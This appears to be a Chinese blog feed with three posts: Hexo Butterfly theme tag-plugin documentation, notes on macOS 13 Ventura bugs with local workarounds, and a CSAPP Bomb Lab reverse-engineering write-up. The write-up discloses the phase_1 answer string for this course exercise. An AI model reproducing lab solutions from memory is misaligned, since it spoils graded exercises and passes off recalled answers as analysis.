相册 区别于旧版的Gallery相册,新的Gallery相册会自动根据图片长度进行排版,书写也更加方便,与markdown格式一样。可根据需要插入到相应的md。无需再自己配置长宽。建议在粘贴时故意使用长短、大小、横竖不一的图片,会有更好的效果。(尺寸完全相同的图片只会平铺输出,效果很糟糕) gallerygroup 相册图库 MC 在Rikkaの六花服务器里留下的足迹 Gundam 哦咧哇gundam哒! I-am-Akilar 某种意义上也算自拍吧 gallery 相册 [{"url":"https://i.loli.net/2019/12/25/Fze9jchtnyJXMHN.jpg","alt":""},{"url":"https://i.loli.net/2019/12/25/ryLVePaqkYm4TEK.jpg","alt":""},{"url":"https://i.loli.net/2019/12/25/gEy5Zc1Ai6VuO4N.jpg","alt":""},{"url":"https://i.loli.net/2019/12/25/d6QHbytlSYO4FBG.jpg","alt":""},{"url":"https://i.loli.net/2019/12/25/6nepIJ1xTgufatZ.jpg","alt":""},{"url":"https://i.loli.net/2019/12/25/E7Jvr4eIPwUNmzq.jpg","alt":""},{"url":"https://i.loli.net/2019/12/25/mh19anwBSWIkGlH.jpg","alt":""},{"url":"https://i.loli.net/2019/12/25/2tu9JC8ewpBFagv.jpg","alt":""}] 对于很多同学提问的gallerygroup和gallery相册页的链接问题。这里说下我个人的使用习惯。 一般使用相册图库的话,可以在导航栏加一个gallery的page(使用指令hexo new page gallery添加),里面放相册图库作为封面。然后在[Blogroot]/source/gallery/下面建立相应的文件夹,例如若按照这里的示例,若欲使用/gallery/MC/路径访问MC相册,则需要新建[Blogroot]/source/gallery/MC/index.md,并在里面填入gallery相册内容。 gallerygroup 相册图库 1 2 3 4 5 <div class="gallery-group-main"> {% galleryGroup MC 在Rikkaの六花服务器里留下的足迹 '/gallery/MC/' https://npm.elemecdn.com/akilar-candyassets/image/1.jpg %} {% galleryGroup Gundam 哦咧哇gundam哒! '/gallery/Gundam/' https://npm.elemecdn.com/akilar-candyassets/image/20200907110508327.png %} {% galleryGroup I-am-Akilar 某种意义上也算自拍吧 '/gallery/I-am-Akilar/' https://npm.elemecdn.com/akilar-candyassets/image/20200907113116651.png %} </div> gallery 相册 1 2 3 4 5 6 7 8 9 10 {% gallery %} ![](https://i.loli.net/2019/12/25/Fze9jchtnyJXMHN.jpg) ![](https://i.loli.net/2019/12/25/ryLVePaqkYm4TEK.jpg) ![](https://i.loli.net/2019/12/25/gEy5Zc1Ai6VuO4N.jpg) ![](https://i.loli.net/2019/12/25/d6QHbytlSYO4FBG.jpg) ![](https://i.loli.net/2019/12/25/6nepIJ1xTgufatZ.jpg) ![](https://i.loli.net/2019/12/25/E7Jvr4eIPwUNmzq.jpg) ![](https://i.loli.net/2019/12/25/mh19anwBSWIkGlH.jpg) ![](https://i.loli.net/2019/12/25/2tu9JC8ewpBFagv.jpg) {% endgallery %} 折叠框 folding Butterfly 虽然也有内置折叠框 hideToggle 标签,但是 Volantis 的 folding 折叠框更好看一些。 标签语法配置参数样式预览示例源码 1 2 3 {% folding 参数(可选), 标题 %} ![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/41F215B9-261F-48B4-80B5-4E86E165259E.jpeg) {% endfolding %} 颜色:blue, cyan, green, yellow, red 状态:状态填写 open 代表默认打开。 查看图片测试 查看默认打开的折叠框 这是一个默认打开的折叠框。 查看代码测试 假装这里有代码块(代码块没法嵌套代码块) 查看列表测试 haha hehe 查看嵌套测试 查看嵌套测试2 查看嵌套测试3 hahaha 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 {% folding 查看图片测试 %} ![](https://cdn.jsdelivr.net/gh/volantis-x/cdn-wallpaper/abstract/41F215B9-261F-48B4-80B5-4E86E165259E.jpeg) {% endfolding %} {% folding cyan open, 查看默认打开的折叠框 %} 这是一个默认打开的折叠框。 {% endfolding %} {% folding green, 查看代码测试 %} 假装这里有代码块(代码块没法嵌套代码块) {% endfolding %} {% folding yellow, 查看列表测试 %} - haha - hehe {% endfolding %} {% folding red, 查看嵌套测试 %} {% folding blue, 查看嵌套测试2 %} {% folding 查看嵌套测试3 %} hahaha <span><img src='https://cdn.jsdelivr.net/gh/volantis-x/cdn-emoji/tieba/%E6%BB%91%E7%A8%BD.png' style='height:24px'></span> {% endfolding %} {% endfolding %} {% endfolding %} 分栏 tab Butterfly 的 tab 标签和 Volantis 的 tab 标签都是移值自 NexT 主题,所以写法和效果一模一样. 语法标签配置参数样式预览示例源码 1 2 3 4 5 {% tabs Unique name, [index] %} <!-- tab [Tab caption] [@icon] --> Any content (support inline tags too). <!-- endtab --> {% endtabs %} Unique name : 选项卡块标签的唯一名称,不带逗号。 将在#id中用作每个标签及其索引号的前缀。 如果名称中包含空格,则对于生成#id,所有空格将由破折号代替。 仅当前帖子/页面的URL必须是唯一的! [index]: 活动选项卡的索引号。 如果未指定,将选择第一个标签(1)。 如果index为-1,则不会选择任何选项卡。 可选参数。 [Tab caption]: 当前选项卡的标题。 如果未指定标题,则带有制表符索引后缀的唯一名称将用作制表符的标题。 如果未指定标题,但指定了图标,则标题将为空。 可选参数。 [@icon]: FontAwesome图标名称(全名,看起来像“ fas fa-font”) 可以指定带空格或不带空格; 例如’Tab caption @icon’ 和 ‘Tab caption@icon’. 可选参数。 Demo 1 - 预设选择第一个【默认】 test1 1test1 2test1 3 This is Tab 1. This is Tab 2. This is Tab 3. Demo 2 - 预设选择tabs test2 1test2 2test2 3 This is Tab 1. This is Tab 2. This is Tab 3. Demo 3 - 没有预设值 test3 1test3 2test3 3 This is Tab 1. This is Tab 2. This is Tab 3. Demo 4 - 自定义Tab名 + 只有icon + icon和Tab名 第一个Tab炸弹 tab名字为第一个Tab 只有图标 没有Tab名字 名字+icon Demo 1 - 预设选择第一个【默认】 1 2 3 4 5 6 7 8 9 10 11 12 13 {% tabs test1 %} <!-- tab --> **This is Tab 1.** <!-- endtab --> <!-- tab --> **This is Tab 2.** <!-- endtab --> <!-- tab --> **This is Tab 3.** <!-- endtab --> {% endtabs %} Demo 2 - 预设选择tabs 1 2 3 4 5 6 7 8 9 10 11 12 13 {% tabs test2, 3 %} <!-- tab --> **This is Tab 1.** <!-- endtab --> <!-- tab --> **This is Tab 2.** <!-- endtab --> <!-- tab --> **This is Tab 3.** <!-- endtab --> {% endtabs %} Demo 3 - 没有预设值 1 2 3 4 5 6 7 8 9 10 11 12 13 {% tabs test3, -1 %} <!-- tab --> **This is Tab 1.** <!-- endtab --> <!-- tab --> **This is Tab 2.** <!-- endtab --> <!-- tab --> **This is Tab 3.** <!-- endtab --> {% endtabs %} Demo 4 - 自定义Tab名 + 只有icon + icon和Tab名 1 2 3 4 5 6 7 8 9 10 11 12 13 {% tabs test4 %} <!-- tab 第一个Tab --> **tab名字为第一个Tab** <!-- endtab --> <!-- tab @fab fa-apple-pay --> **只有图标 没有Tab名字** <!-- endtab --> <!-- tab 炸弹@fas fa-bomb --> **名字+icon** <!-- endtab --> {% endtabs %} 数据集合 issues 标签语法参数配置样式预览示例源码 1 {% issues type | api=url | group=key:value1,value2(可选) %} 略 https://akilar.top/posts/615e2dec/ 略 https://akilar.top/posts/615e2dec/ 略 https://akilar.top/posts/615e2dec/ 诗词标签 poem 标签语法参数配置样式预览示例源码 1 2 3 {% poem [title],[author] %} 诗词内容 {% endpoem %} title:诗词标题 author:作者,可以不写 水调歌头 苏轼 丙辰中秋,欢饮达旦,大醉,作此篇,兼怀子由。 明月几时有?把酒问青天。 不知天上宫阙,今夕是何年? 我欲乘风归去,又恐琼楼玉宇,高处不胜寒。 起舞弄清影,何似在人间? 转朱阁,低绮户,照无眠。 不应有恨,何事长向别时圆? 人有悲欢离合,月有阴晴圆缺,此事古难全。 但愿人长久,千里共婵娟。 1 2 3 4 5 6 7 8 9 10 11 12 {% poem 水调歌头,苏轼 %} 丙辰中秋,欢饮达旦,大醉,作此篇,兼怀子由。 明月几时有?把酒问青天。 不知天上宫阙,今夕是何年? 我欲乘风归去,又恐琼楼玉宇,高处不胜寒。 起舞弄清影,何似在人间? 转朱阁,低绮户,照无眠。 不应有恨,何事长向别时圆? 人有悲欢离合,月有阴晴圆缺,此事古难全。 但愿人长久,千里共婵娟。 {% endpoem %} 阿里图标 icon 本标签的图标需要自己额外引入阿里矢量图标库的样式,具体引入方案请移步:Hexo引入阿里矢量图标库 标签语法参数配置样式预览示例源码 1 {% icon [icon-xxxx],[font-size] %} icon-xxxx:表示图标font-class,可以在自己的阿里矢量图标库项目的font-class引用方案内查询并复制。 font-size:表示图标大小,直接填写数字即可,单位为em。图标大小默认值为1em。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 {% icon icon-rat_zi %}{% icon icon-rat,2 %} {% icon icon-ox_chou,3 %}{% icon icon-ox,4 %} {% icon icon-tiger_yin,5 %}{% icon icon-tiger,6 %} {% icon icon-rabbit_mao,1 %}{% icon icon-rabbit,2 %} {% icon icon-dragon_chen,3 %}{% icon icon-dragon,4 %} {% icon icon-snake_si,5 %}{% icon icon-snake,6 %} {% icon icon-horse_wu %}{% icon icon-horse,2 %} {% icon icon-goat_wei,3 %}{% icon icon-goat,4 %} {% icon icon-monkey_shen,5 %}{% icon icon-monkey,6 %} {% icon icon-rooster_you %}{% icon icon-rooster,2 %} {% icon icon-dog_xu,3 %}{% icon icon-dog,4 %} {% icon icon-boar_hai,5 %}{% icon icon-boar,6 %} 特效标签wow 特效标签的静态资源未添加在本帖的配置内容中(因为多为cdn配置),请移步教程完成相关配置: https://akilar.top/posts/abab51cf/ 标签语法参数配置样式预览示例源码 1 2 3 {% wow [animete],[duration],[delay],[offset],[iteration] %} 内容 {% endwow %} animate: 动画样式,效果详见animate.css参考文档 duration: 选填项,动画持续时间,单位可以是ms也可以是s。例如3s,700ms。 delay: 选填项,动画开始的延迟时间,单位可以是ms也可以是s。例如3s,700ms。 offset: 选填项,开始动画的距离(相对浏览器底部) iteration: 选填项,动画重复的次数 注意,后面四个虽然是选填项,但是当有跨位选填时,次序不能乱。详见示例。 支持嵌套其他外挂标签。 flip动画效果. flip动画效果。 zoomIn动画效果,持续5s,延时5s,离底部100距离时启动,重复10次。 zoomIn动画效果,持续5s,延时5s,离底部100距离时启动,重复10次 slideInRight动画效果,持续5s,延时5s。 slideInRight动画效果,持续5s,延时5s。 heartBeat动画效果,延时5s,重复10次。此处注意不用的参数位置要留空,用逗号间隔。 heartBeat动画效果,延时5s,重复10次。 flip动画效果. 1 2 3 4 5 {% wow animate__flip %} {% note green 'fas fa-fan' modern%} `flip`动画效果。 {% endnote %} {% endwow %} zoomIn动画效果,持续5s,延时5s,离底部100距离时启动,重复10次。 1 2 3 4 5 {% wow animate__zoomIn,5s,5s,100,10 %} {% note blue 'fas fa-bullhorn' modern%} `zoomIn`动画效果,持续`5s`,延时`5s`,离底部`100`距离时启动,重复`10`次 {% endnote %} {% endwow %} slideInRight动画效果,持续5s,延时5s。 1 2 3 4 5 {% wow animate__slideInRight,5s,5s %} {% note orange 'fas fa-car' modern%} `slideInRight`动画效果,持续`5s`,延时`5s`。 {% endnote %} {% endwow %} heartBeat动画效果,延时5s,重复10次。此处注意不用的参数位置要留空,用逗号间隔。 1 2 3 4 5 {% wow animate__heartBeat,,5s,,10 %} {% note red 'fas fa-battery-half' modern%} `heartBeat`动画效果,延时`5s`,重复`10`次。 {% endnote %} {% endwow %} 进度条 progress 进度条标签参考沂佰孜猫-给HEXO文章添加彩色进度条。 源样式提取自Cuteen主题。 标签语法参数配置样式预览示例源码 1 {% progress [width] [color] [text] %} width: 0到100的阿拉伯数字 color: 颜色,取值有red,yellow,green,cyan,blue,gray text:进度条上的文字内容 进度条样式预览 进度条样式预览 进度条样式预览 进度条样式预览 进度条样式预览 进度条样式预览 1 2 3 4 5 6 {% progress 10 red 进度条样式预览 %} {% progress 30 yellow 进度条样式预览 %} {% progress 50 green 进度条样式预览 %} {% progress 70 cyan 进度条样式预览 %} {% progress 90 blue 进度条样式预览 %} {% progress 100 gray 进度条样式预览 %} 注释 notation 标签语法参数配置样式预览示例源码 1 {% nota [label] , [text] %} label: 注释词汇 text: 悬停显示的注解内容 把鼠标移动到我上面试试 1 {% nota 把鼠标移动到我上面试试 ,可以看到注解内容出现在顶栏 %} 气泡注释 bubble 标签语法参数配置样式预览示例源码 1 {% bubble [content] , [notation] ,[background-color] %} content: 注释词汇 notation: 悬停显示的注解内容 background-color: 可选,气泡背景色。默认为“#71a4e3” 最近我学到了不少新玩意儿(虽然对很多大佬来说这些已经是旧技术了),比如CSS的兄弟相邻选择器例如 h1 + p {margin-top:50px;},flex布局Flex 是 Flexible Box 的缩写,意为弹性布局”,用来为盒状模型提供最大的灵活性”,transform变换transform 属性向元素应用 2D 或 3D 转换。该属性允许我们对元素进行旋转、缩放、移动或倾斜。,animation的贝塞尔速度曲线贝塞尔曲线(Bézier curve),又称贝兹曲线或贝济埃曲线,是应用于二维图形应用程序的数学曲线。一般的矢量图形软件通过它来精确画出曲线,贝兹曲线由线段与节点组成,节点是可拖动的支点,线段像可伸缩的皮筋写法,还有今天刚看到的clip-pathclip-path属性使用裁剪方式创建元素的可显示区域。区域内的部分显示,区域外的隐藏。属性。这些对我来说很新颖的概念狠狠的冲击着我以前积累起来的设计思路。 1 最近我学到了不少新玩意儿(虽然对很多大佬来说这些已经是旧技术了),比如CSS的{% bubble 兄弟相邻选择器,"例如 h1 + p {margin-top:50px;}" %},{% bubble flex布局,"Flex 是 Flexible Box 的缩写,意为"弹性布局",用来为盒状模型提供最大的灵活性","#ec5830" %},{% bubble transform变换,"transform 属性向元素应用 2D 或 3D 转换。该属性允许我们对元素进行旋转、缩放、移动或倾斜。","#1db675" %},animation的{% bubble 贝塞尔速度曲线,"贝塞尔曲线(Bézier curve),又称贝兹曲线或贝济埃曲线,是应用于二维图形应用程序的数学曲线。一般的矢量图形软件通过它来精确画出曲线,贝兹曲线由线段与节点组成,节点是可拖动的支点,线段像可伸缩的皮筋","#de4489" %}写法,还有今天刚看到的{% bubble clip-path,"clip-path属性使用裁剪方式创建元素的可显示区域。区域内的部分显示,区域外的隐藏。","#868fd7" %}属性。这些对我来说很新颖的概念狠狠的冲击着我以前积累起来的设计思路。 引用文献 reference 标签语法参数配置样式预览示例源码 1 2 {% referto [id] , [literature] %} {% referfrom [id] , [literature] , [url] %} 考虑到锚点跳转的特性,不建议您将引用出处标签referfrom写在常隐外挂标签(如folding、tab、hideToggle)中,这样能有效避免跳转失败。 referto 引用上标 id: 上标序号内容,需与referfrom标签的id对应才能实现跳转 literature: 引用的参考文献名称 referfrom 引用出处 id: 序号内容,需与referto标签的id对应才能实现跳转 literature: 引用的参考文献名称 url: 引用的参考文献链接,可省略 Akilarの糖果屋(akilar.top)是一个私人性质的博客[1]Akilarの糖果屋群聊简介参考资料,从各类教程至生活点滴,无话不谈。建群的目的是提供一个闲聊的场所。博客采用Hexo框架[2]Hexo中文文档参考资料,Butterfly主题[3]Butterfly 安装文档(一) 快速开始参考资料 本项目参考了Volantis[4]hexo-theme-volantis 标签插件参考资料的标签样式。引入[tag].js,并针对butterfly主题修改了相应的[tag].styl。在此鸣谢Volantis主题众开发者。 主要参考内容包括各个volantis的内置标签插件文档[5]Volantis文档:内置标签插件参考资料 Butterfly主题的各个衍生魔改[6]Butterfly 安装文档:标签外挂(Tag Plugins参考资料[7]小弋の生活馆全样式预览参考资料[8]l-lin-font-awesome-animation参考资料[9]小康的butterfly主题使用文档参考资料 [1] Akilarの糖果屋群聊简介 [2] Hexo中文文档 [3] Butterfly 安装文档(一) 快速开始 [4] hexo-theme-volantis 标签插件 [5] Volantis文档:内置标签插件 [6] Butterfly 安装文档:标签外挂(Tag Plugins [7] 小弋の生活馆全样式预览 [8] l-lin-font-awesome-animation [9] 小康的butterfly主题使用文档 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Akilarの糖果屋(akilar.top)是一个私人性质的博客{% referto '[1]','Akilarの糖果屋群聊简介' %},从各类教程至生活点滴,无话不谈。建群的目的是提供一个闲聊的场所。博客采用Hexo框架{% referto '[2]','Hexo中文文档' %},Butterfly主题{% referto '[3]','Butterfly 安装文档(一) 快速开始' %} 本项目参考了Volantis{% referto '[4]','hexo-theme-volantis 标签插件' %}的标签样式。引入`[tag].js`,并针对`butterfly`主题修改了相应的`[tag].styl`。在此鸣谢`Volantis`主题众开发者。 主要参考内容包括各个volantis的内置标签插件文档{% referto '[5]','Volantis文档:内置标签插件' %} Butterfly主题的各个衍生魔改{% referto '[6]','Butterfly 安装文档:标签外挂(Tag Plugins' %}{% referto '[7]','小弋の生活馆全样式预览' %}{% referto '[8]','l-lin-font-awesome-animation' %}{% referto '[9]','小康的butterfly主题使用文档' %} {% referfrom '[1]','Akilarの糖果屋群聊简介','https://jq.qq.com/?_wv=1027&k=pGLB2C0N' %} {% referfrom '[2]','Hexo中文文档','https://hexo.io/zh-cn/docs/' %} {% referfrom '[3]','Butterfly 安装文档(一) 快速开始','https://butterfly.js.org/posts/21cfbf15/' %} {% referfrom '[4]','hexo-theme-volantis 标签插件','https://volantis.js.org/v5/tag-plugins/' %} {% referfrom '[5]','Volantis文档:内置标签插件','https://volantis.js.org/tag-plugins/' %} {% referfrom '[6]','Butterfly 安装文档:标签外挂(Tag Plugins','https://butterfly.js.org/posts/4aa8abbe/#%E6%A8%99%E7%B1%A4%E5%A4%96%E6%8E%9B%EF%BC%88Tag-Plugins%EF%BC%89' %} {% referfrom '[7]','小弋の生活馆全样式预览','https://lovelijunyi.gitee.io/posts/c898.html' %} {% referfrom '[8]','l-lin-font-awesome-animation','https://github.com/l-lin/font-awesome-animation' %} {% referfrom '[9]','小康的butterfly主题使用文档','https://www.antmoe.com/posts/3b43914f/' %} 旋转相册 carousel 旋转相册标签与fancybox灯箱存在兼容性bug,若发现旋转相册呈扁平状,请关闭fancybox或换用medium_zoom。 标签语法参数配置样式预览示例源码 1 2 3 4 5 {% carousel [Id] , [name] %} ![](/img/1.jpg) ![](/img/2.jpg) ![](/img/3,jpg) {% endcarousel %} Id: 相册唯一ID,用于监测相册鼠标动作。禁止使用中文。同一页内不得出现相同ID的carousel相册。 name: 相册中间显示的内容,建议用英文单引号包裹。 略 无 以上来自https://akilar.top/posts/615e2dec/

2022/7/11
articleCard.readMore

macOS 13 Ventura Bug记录与尝试性修复

⚠️废弃:不再更新⚠️ 前言 苹果秋季发布会结束,我立刻就用上了macOS 13 Ventura和iOS 16 (通过开发者描述文件). 目前来看macOS 13 Ventura上的bug比较多,iOS 16日常使用问题不大(虽然出现过微信订阅号闪退问题,但之后都修复了),老问题依旧(发热,耗电快等). Bug&Fix 我觉得Fix谈不上,因为大部分都莫法Fix,只能靠开发者适配 Xcode 13.4.1 无法打开 通过/Applications/Xcode.app/Contents/MacOS/Xcode启动,或者把Xcode 14 Beta的Info.plist替换Xcode 13.4.1的(我觉得还不如直接用Xcode 14 Beta) 系统发热严重 重启能缓解 重启后报错 反馈了,如图 翻译不可用 反馈了,如图 中文输入法间歇性无响应 反馈了,如图 在活动监视器中强制结束简体输入程序或者命令行输入 kill -9 (ps -ef | grep "SCIM_Extension" | grep -v grep | awk '{print $2}') Bartender 4更新后权限失效 命令行输入以下并回车来重新设置辅助功能和屏幕录制 tccutil reset Accessibility tccutil reset ScreenCapture Parallels Desktop中的系统启动后均黑屏 官方晓得了,在修复中.English中文 这个版本修复了 App Cleaner & Uninstall 不给用 只有等开发者适配. 以下来自V2EX,我只是总结一下,具体能否解决本人不确定. 微信输入框无法调整 先拖右下角缩小一下窗口大小,再拖动输入框就可以了,感觉是输入框被系统锁定了高度 搜狗输入法直接报错 重装可以解决 截图软件Shottr无法编辑 Zotero 文献管理工具无法打开 重新安装 zotero 6.0.8 Taio 无法启动 Prism 无法打开 ishot 截图后标注界面纯色空白,不显示截图内容,但可以盲标注,也能正确保存 又水了一篇博客:)

2022/7/6
articleCard.readMore

CSAPP_Lab之BombLab

前言 出于记录📝和复习的需要,整理了下本人在做CSAPP深入理解计算机系统这本书的配套实验之Bomb Lab的内容 [Updated 1/12/16] (README, Writeup, Release Notes, Self-Study Handout) 关于CSAPP配套实验更多内容或配套文件等,请访问CSAPP_Lab 注:采用的是原生GDB 12.1版本搭配pwndbg插件的截图(其实想用mac上的lldb调试器,更好些.可惜这Lab太老了). 内容受本人技术水平等限制,可能存在错误或不完善.欢迎指出. 介绍 本Lab给了一个名为 bomb 的程序文件.主要考查汇编知识和调试能力 题目要求是运行 bomb 后输入六个 phase ,输入正确 bomb 程序才能继续运行,输入错误就会 bomb! 另外本Lab隐藏有secret phase 这里将结果保存在了 result.txt ,看源码可知可用 ./bomb result.txt 来运行程序. 题目大致做法:分析汇编代码,结合 gdb 调试,通过打断点、查看内存结果等方式推测应该输入的 phase 可通过使用 objdump ./bomb -d > obj.txt 命令获取汇编代码 基础知识 栈帧 注:无浮点寄存器 调用者保存寄存器(caller saved registers),也叫易失性寄存器,在程序调用的过程中,这些寄存器中的值不需要被保存(即压入到栈中再从栈中取出),如果某一个程序需要保存这个寄存器的值,需要调用者自己压入栈 被调用者保存寄存器(callee saved registers),也叫非易失性寄存器,在程序调用过程中,这些寄存器中的值需要被保存,不能被覆盖;当某个程序调用这些寄存器,被调用寄存器会先保存这些值然后再进行调用,且在调用结束后恢复被调用之前的值 函数调用一般参数传递(非浮点)前 6 个参数存于寄存器,剩下的参数按照函数定义从右向左压栈。 栈指针指向函数栈栈顶。 %rax 用于保存函数调用返回值。 了解了这些寄存器,我们再来看看栈帧的结构 就拿函数 P 的栈帧来说,从栈底到栈顶的方向分别存储以下内容: 被保存的寄存器 局部变量(sub $0x18,%rsp ) 如果调用其他函数参数多于 6,便有参数构造区 调用其他函数时需要将返回地址压栈 工具 gdb 调试常用的指令有: unix> gdb bomb 运行 gdb 调试 bomb (gdb) run result.txt 以参数 result.txt 调试 bomb break *0x40133f 在 0x40133f 处设置断点 print /d $rsi 以十进制输出寄存器 rsi 的值 print (char *) 0xbfff890 输出以 0xbfff890 为首地址的字符串 disas 反汇编当前函数 // disassemble disas sum 反汇编函数sum // 若调用了其他函数,step/stepi会进入函数内部,而next/nexti不会 info break 查看断点 delete <断点序号> 删除断点 stack <行数> 查看栈 list 显示源程序代码的内容,包括各行代码所在的行号 stepi // 执行下一条指令,包括进入函数 step // 执行下一条语句,包括进入函数 nexti // 执行下一条指令,不进入函数 next // 执行下一条语句,不进入函数 print 0x100 // 输出0x100的十进制表示 print /x 555 // 输出555的十六进制表示 print /d $rax // 以十进制输出寄存器%rax中的值 print /x $rax // 以十六进制输出寄存器%rax中的值 print /t $rax // 以二进制输出寄存器%rax中的值 x/s 0xbffff890 // 检查地址0xbffff890中存储的字符串 // x(examine) x/<n/f/u> // 表示一个内存地址. n 是一个正整数,表示需要显示的内存单元的个数,也就是说从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的u定义 f 表示显示的格式,参见下面。如果地址所指的是字符串,那么格式可以是s,如果地址是指令地址,那么格式可以是i u 表示从当前地址往后请求的字节数,如果不指定的话,GDB默认是4个bytes。u参数可以用下面的字符来代替,b表示单字节,h表示双字节,w表示四字节,g表示八字节。当我们指定了字节长度后,GDB会从指内存定的内存地址开始,读写指定字节,并把其当作一个值取出来 n/f/u三个参数可以一起使用。例如: 命令:x/3uh 0x54320 表示,从内存地址0x54320读取内容,h表示以双字节为一个单位,3表示输出三个单位,u表示按十六进制显示 参数 f 的可选值: x 按十六进制格式显示变量。 d 按十进制格式显示变量。 u 按十进制格式显示无符号整型。 o 按八进制格式显示变量。 t 按二进制格式显示变量。 a 按十六进制格式显示变量。 c 按字符格式显示变量。 f 按浮点数格式显示变量。 set 设置变量的值。例如:set nval=54 将把54保存到nval变量中 kill [filename] 终止正在调试的程序 watch <变量> 使你能监视一个变量的值而不管它何时被改变 info [name] 查看name信息 layout asm – 应用 “asm “布局。 layout next – 应用下一个TUI布局。 layout prev – 应用前一个TUI布局。 layout regs – 应用 TUI 寄存器布局。 layout split – 应用 “split “布局。 layout src – 应用 “src “布局。 info win 查看当前focus fs next 或 Control(ctrl) X + O 上下切换focus fs SRC 切换指定focus Control(ctrl) X + Control(ctrl) A 退出TUI Control(ctrl) L 刷新屏幕 bt,backtrace的缩写,回溯,当使用s进入某个函数后,输入bt可以打印该函数的栈帧 在tui模式下有4个窗口, command 命令窗口. 可以键入调试命令 source 源代码窗口. 显示当前行,断点等信息 assembly 汇编代码窗口 register 寄存器窗口 除command(命令)窗口外,其他三个窗口(源码/汇编/寄存器)不可同时显示.其可用 layout 命令来进行选择 输入Control(ctrl) X + 2显示其他三个窗口中二个窗口(+ 1的话显示一个).连续按下**Control(ctrl) X + 2可进行三个窗口的两两组合. B表示断点处代码已经运行至少一次 b表示断点处代码还没有运行到 +表示该断点处于enable状态 (enable Num) // Num可通过用info break查看 -表示该断点处于disable状态 (disable Num) 自己需要的窗口. 可参见 help layout . 更多指令可以参考 gdb 指令 例如分析汇编代码可以看出: 0000000000400ee0 <phase_1>:在346行,phase_2 等函数紧跟其后 0000000000400da0 <main>:在264行 000000000040131b <string_length>:在688行 0000000000401338 <strings_not_equal>:在701行 000000000040145c <read_six_numbers>:在804行 题目 Phrase Before 所有的 Phrase 都是通过 read_line 函数从输入流(标准输入/文件输入重定向)中读取的,返回值为 input 对应于 %rax 寄存器(存放的一个输入字符串的首地址).我们看到将 %rax 寄存器的内容转移到 %rdi 寄存器 我们可以知道寄存器 %rdi 用于存放调用函数时的第一个参数(即输入的字符串的首地址). 除此之外,(在我略懂且已知的范围内)它还有另外一个作用–即对地址 0x603760 处值加一. 为什么加一? 通过对 read_line 函数的反汇编,在<+146>处 add rsi,0x603780 可以明白. 通俗点说,每次运行read_line函数,地址0x603760值都会加一. 看完read_line函数,接下来就调用phase函数了. 之后我们会注意到每个phase结束后都有个phase_defused,反汇编看看吧. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 Dump of assembler code for function phase_defused: 0x00000000004015c4 <+0>:sub rsp,0x78 # 开辟栈空间 0x00000000004015c8 <+4>:mov rax,QWORD PTR fs:0x28 0x00000000004015d1 <+13>:mov QWORD PTR [rsp+0x68],rax 0x00000000004015d6 <+18>:xor eax,eax # 将%eax进行置零 0x00000000004015d8 <+20>:cmp DWORD PTR [rip+0x202181],0x6 # 0x603760 <num_input_strings> 0x00000000004015df <+27>:jne 0x40163f <phase_defused+123> 0x00000000004015e1 <+29>:lea r8,[rsp+0x10] 0x00000000004015e6 <+34>:lea rcx,[rsp+0xc] 0x00000000004015eb <+39>:lea rdx,[rsp+0x8] 0x00000000004015f0 <+44>:mov esi,0x402619 0x00000000004015f5 <+49>:mov edi,0x603870 0x00000000004015fa <+54>:call 0x400bf0 <__isoc99_sscanf@plt> 0x00000000004015ff <+59>:cmp eax,0x3 0x0000000000401602 <+62>:jne 0x401635 <phase_defused+113> 0x0000000000401604 <+64>:mov esi,0x402622 0x0000000000401609 <+69>:lea rdi,[rsp+0x10] 0x000000000040160e <+74>:call 0x401338 <strings_not_equal> 0x0000000000401613 <+79>:test eax,eax 0x0000000000401615 <+81>:jne 0x401635 <phase_defused+113> 0x0000000000401617 <+83>:mov edi,0x4024f8 0x000000000040161c <+88>:call 0x400b10 <puts@plt> 0x0000000000401621 <+93>:mov edi,0x402520 0x0000000000401626 <+98>:call 0x400b10 <puts@plt> 0x000000000040162b <+103>:mov eax,0x0 0x0000000000401630 <+108>:call 0x401242 <secret_phase> 0x0000000000401635 <+113>:mov edi,0x402558 0x000000000040163a <+118>:call 0x400b10 <puts@plt> 0x000000000040163f <+123>:mov rax,QWORD PTR [rsp+0x68] 0x0000000000401644 <+128>:xor rax,QWORD PTR fs:0x28 0x000000000040164d <+137>:je 0x401654 <phase_defused+144> 0x000000000040164f <+139>:call 0x400b30 <__stack_chk_fail@plt> 0x0000000000401654 <+144>:add rsp,0x78 0x0000000000401658 <+148>:ret End of assembler dump. 分析汇编: <+20>处,可以看到 $rip+0x202181 处的内存地址与 0x6 进行比较. 我们可以知道,当执行这条指令时 $rip 存储着下一条的地址–即0x4015df.x 那么,其实$rip+0x202181就是一个固定的地址0x603760(与上面值加一相关联). 然后,这条指令是与这个固定地址的值与0x6进行比较.而一共就6个phase. 通俗而言,这条指令的意义在于判断用户是否进行了6次输入.(也可以理解为是否通过了6个phase,实际上要的也就是这个效果) phase_1 首先,我们看一下 Phrase 1 的汇编代码 1 2 3 4 5 6 7 8 9 10 11 pwndbg> disas phase_1 Dump of assembler code for function phase_1: 0x0000000000400ee0 <+0>:sub rsp,0x8 0x0000000000400ee4 <+4>:mov esi,0x402400 0x0000000000400ee9 <+9>:call 0x401338 <strings_not_equal> 0x0000000000400eee <+14>:test eax,eax 0x0000000000400ef0 <+16>:je 0x400ef7 <phase_1+23> 0x0000000000400ef2 <+18>:call 0x40143a <explode_bomb> 0x0000000000400ef7 <+23>:add rsp,0x8 0x0000000000400efb <+27>:ret End of assembler dump. 其中,核心代码在第4-7行. mov $0x402400,%esi:将地址0x402400中的值复制到寄存器%esi(用于存储函数调用时的第二个参数)中. call 0x401338 <strings_not_equal>:判断输入的字符串input(存储在寄存器%edi中)和%esi中存储的字符串是否相等. test %eax,%eax:测试%eax & %eax(寄存器%eax用于存储函数调用的返回值). je 0x400ef7 <phase_1+23>:当test的结果为0(即%eax中的值为0)时,跳转到0x400ef7 <phase_1+23>;否则,调用函数explode_bomb. 为了跳过函数explode_bomb,必须保证输入的字符串input与地址0x402400中的字符串相等。因此,需要输入的字符串需为: 1 2 pwndbg> x/s 0x402400 0x402400:"Border relations with Canada have never been better." 关于strings_not_equal这个函数如何实现的,我们可以看一下汇编. 